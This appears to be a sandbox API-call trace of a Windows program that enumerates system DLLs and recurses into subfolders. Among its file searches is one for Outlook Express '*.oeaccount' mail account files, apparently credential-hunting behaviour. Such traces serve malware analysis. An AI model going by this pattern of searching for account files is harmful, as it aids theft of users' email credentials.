	[0095.468] strlen (_Str="admparse.dll") returned 0xc
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] strlen (_Str="AdmTmpl.dll") returned 0xb
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] strlen (_Str="adprovider.dll") returned 0xe
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] strlen (_Str="adsldp.dll") returned 0xa
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] strlen (_Str="adsldpc.dll") returned 0xb
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] strlen (_Str="adsmsext.dll") returned 0xc
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] strlen (_Str="adsnt.dll") returned 0x9
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] strlen (_Str="adtschema.dll") returned 0xd
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strcmp (_Str1="AdvancedInstallers", _Str2="..") returned 1
	[0095.468] strcmp (_Str1="AdvancedInstallers", _Str2=".") returned 1
	[0095.468] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.469] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.469] strlen (_Str="*.oeaccount") returned 0xb
	[0095.469] _mbscpy (in: param_1=0x18e32c, param_2=0x18e6f4 | out: param_1=0x18e32c) returned 0x18e32c
	[0095.469] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.469] _mbscat (in: param_1=0x18e32c, param_2=0x413044 | out: param_1=0x18e32c) returned 0x18e32c
	[0095.469] _mbscat (in: param_1=0x18e32c, param_2=0x41445c | out: param_1=0x18e32c) returned 0x18e32c
	[0095.469] FindFirstFileA (in: lpFileName="AdvancedInstallers\\*.oeaccount", lpFindFileData=0x18e470 | out: lpFindFileData=0x18e470) returned 0xffffffff
	[0095.475] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.475] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.475] strlen (_Str="*.*") returned 0x3
	[0095.475] _mbscpy (in: param_1=0x18e83c, param_2=0x18ec04 | out: param_1=0x18e83c) returned 0x18e83c
	[0095.475] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.475] _mbscat (in: param_1=0x18e83c, param_2=0x413044 | out: param_1=0x18e83c) returned 0x18e83c
	[0095.475] _mbscat (in: param_1=0x18e83c, param_2=0x413744 | out: param_1=0x18e83c) returned 0x18e83c
	[0095.475] FindFirstFileA (in: lpFileName="AdvancedInstallers\\*.*", lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 0x598c20
	[0095.475] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.475] strlen (_Str=".") returned 0x1
	[0095.475] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.475] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.475] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.475] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0095.475] strcmp (_Str1=".", _Str2="..") returned -1
	[0095.475] strcmp (_Str1=".", _Str2=".") returned 0
	[0095.475] FindNextFileA (in: hFindFile=0x598c20, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0095.475] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.475] strlen (_Str="..") returned 0x2
	[0095.475] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.475] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.475] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.475] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0095.475] strcmp (_Str1="..", _Str2="..") returned 0
	[0095.475] FindNextFileA (in: hFindFile=0x598c20, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0095.475] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.475] strlen (_Str="cmiadapter.dll") returned 0xe
	[0095.475] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.475] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.475] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.476] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0095.476] FindNextFileA (in: hFindFile=0x598c20, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0095.476] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.476] strlen (_Str="cmiv2.dll") returned 0x9
	[0095.476] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.476] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.476] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.476] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0095.476] FindNextFileA (in: hFindFile=0x598c20, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0095.476] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.476] strlen (_Str="OEMHelpIns.dll") returned 0xe
	[0095.476] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.476] strlen (_Str="AdvancedInstallers") returned 0x12
	[0095.476] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.476] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0095.476] FindNextFileA (in: hFindFile=0x598c20, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 0
	[0095.476] FindClose (in: hFindFile=0x598c20 | out: hFindFile=0x598c20) returned 1
	[0095.476] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] strlen (_Str="advapi32.dll") returned 0xc
	[0095.476] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] strlen (_Str="advpack.dll") returned 0xb
	[0095.476] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] strlen (_Str="aecache.dll") returned 0xb
	[0095.476] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] strlen (_Str="aeevts.dll") returned 0xa
	[0095.476] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] strlen (_Str="AltTab.dll") returned 0xa
	[0095.476] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] strlen (_Str="amcompat.tlb") returned 0xc
	[0095.476] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.476] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.476] strlen (_Str="") returned 0x0
	[0095.476] strlen (_Str="amstream.dll") returned 0xc
	[0095.476] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="amxread.dll") returned 0xb
	[0095.477] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="apds.dll") returned 0x8
	[0095.477] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="api-ms-win-core-console-l1-1-0.dll") returned 0x22
	[0095.477] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="api-ms-win-core-datetime-l1-1-0.dll") returned 0x23
	[0095.477] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="api-ms-win-core-debug-l1-1-0.dll") returned 0x20
	[0095.477] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="api-ms-win-core-delayload-l1-1-0.dll") returned 0x24
	[0095.477] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="api-ms-win-core-errorhandling-l1-1-0.dll") returned 0x28
	[0095.477] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="api-ms-win-core-fibers-l1-1-0.dll") returned 0x21
	[0095.477] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="api-ms-win-core-file-l1-1-0.dll") returned 0x1f
	[0095.477] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.477] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.477] strlen (_Str="") returned 0x0
	[0095.477] strlen (_Str="api-ms-win-core-file-l1-2-0.dll") returned 0x1f
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-file-l2-1-0.dll") returned 0x1f
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-handle-l1-1-0.dll") returned 0x21
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-heap-l1-1-0.dll") returned 0x1f
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-interlocked-l1-1-0.dll") returned 0x26
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-io-l1-1-0.dll") returned 0x1d
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-libraryloader-l1-1-0.dll") returned 0x28
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-localization-l1-1-0.dll") returned 0x27
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-localization-l1-2-0.dll") returned 0x27
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-localregistry-l1-1-0.dll") returned 0x28
	[0095.478] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.478] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.478] strlen (_Str="") returned 0x0
	[0095.478] strlen (_Str="api-ms-win-core-memory-l1-1-0.dll") returned 0x21
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-misc-l1-1-0.dll") returned 0x1f
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-namedpipe-l1-1-0.dll") returned 0x24
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-processenvironment-l1-1-0.dll") returned 0x2d
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-processthreads-l1-1-0.dll") returned 0x29
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-processthreads-l1-1-1.dll") returned 0x29
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-profile-l1-1-0.dll") returned 0x22
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-rtlsupport-l1-1-0.dll") returned 0x25
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-string-l1-1-0.dll") returned 0x21
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
